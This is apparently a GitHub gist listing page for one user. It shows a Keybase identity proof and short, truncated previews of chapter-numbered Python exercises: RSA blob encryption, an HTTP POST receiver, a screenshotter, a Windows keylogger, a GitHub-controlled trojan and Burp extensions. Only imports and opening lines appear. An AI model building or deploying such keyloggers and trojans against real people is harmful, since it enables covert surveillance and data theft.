Skip to content

Instantly share code, notes, and snippets.

Keybase proof

I hereby claim:

  • I am ismailakkila on github.
  • I am ismailakkila (https://keybase.io/ismailakkila) on keybase.
  • I have a public key ASCU14r3wG4eWbrnBTEwHCPDuV6vTHKIO2_kb_5a9Ql2ygo

To claim this, I am signing this object:

@ismailakkila
ismailakkila / ch9_decrypt_blob.py
Created December 21, 2017 16:53
ch9_decrypt_blob.py
#ch9_decrypt_blob.py
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import base64
import zlib
#Our Decryption Function
def decrypt_blob(encrypted_blob, private_key):
#Import the Private Key and use for decryption using PKCS1_OAEP
@ismailakkila
ismailakkila / ch9_encrypt_blob.py
Created December 21, 2017 16:47
ch9_encrypt_blob.py
#ch9_encrypt_blob.py
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import zlib
import base64
#Our Encryption Function
def encrypt_blob(blob, public_key):
#Import the Public Key and use for encryption using PKCS1_OAEP
rsa_key = RSA.importKey(public_key)
@ismailakkila
ismailakkila / ch9_generate_keys.py
Created December 21, 2017 16:20
ch9_generate_keys.py
#ch9_generate_keys.py
from Crypto.PublicKey import RSA
#Generate a public/ private key pair using 4096 bits key length (512 bytes)
new_key = RSA.generate(4096, e=65537)
#The private key in PEM format
private_key = new_key.exportKey("PEM")
#The public key in PEM Format
@ismailakkila
ismailakkila / ch9_simplehttpserver.py
Created December 21, 2017 15:41
ch9_simplehttpserver.py
#ch9_simplehttpserver.py
import SimpleHTTPServer
import SocketServer
import urllib
#HTTP Request Handler Class
class RequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
#POST Method
def do_POST(self):
content_length = int(self.headers["Content-Length"])
@ismailakkila
ismailakkila / ch8_screenshotter.py
Created November 14, 2017 08:54
ch8_screenshotter.py
#ch8_screenshotter.py
import win32api
import win32ui
import win32gui
import win32con
filepath = ""
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
@ismailakkila
ismailakkila / ch8_windows_keylogger.py
Created November 9, 2017 13:12
ch8_windows_keylogger.py
from ctypes import *
import pyHook
import pythoncom
import win32clipboard
import sys
current_window = None
current_command = False
user32 = windll.user32
@ismailakkila
ismailakkila / ch7_github_trojan.py
Created November 5, 2017 13:00
ch7_github_trojan.py
#ch7_github_trojan.py
from github3 import login
from datetime import datetime
from uuid import getnode
import platform
import base64
import json
import imp
import queue
import threading
@ismailakkila
ismailakkila / ch6_burp_wordlist.py
Created October 30, 2017 07:44
ch6_burp_wordlist.py
#ch6_burp_wordlist.py
from burp import IBurpExtender
from burp import IContextMenuFactory
from javax.swing import JMenuItem
from java.util import ArrayList, List
from HTMLParser import HTMLParser
from datetime import datetime
import re
#This class attempts to strip all tags from and HTML page recieved in the http response
@ismailakkila
ismailakkila / ch6_burp_send_to_bing.py
Last active October 26, 2017 16:39
ch6_burp_send_to_bing.py
from burp import IBurpExtender
from burp import IContextMenuFactory
from javax.swing import JMenuItem
from java.net import URL
from java.util import List, ArrayList
import urllib
import json
import socket
import re
import threading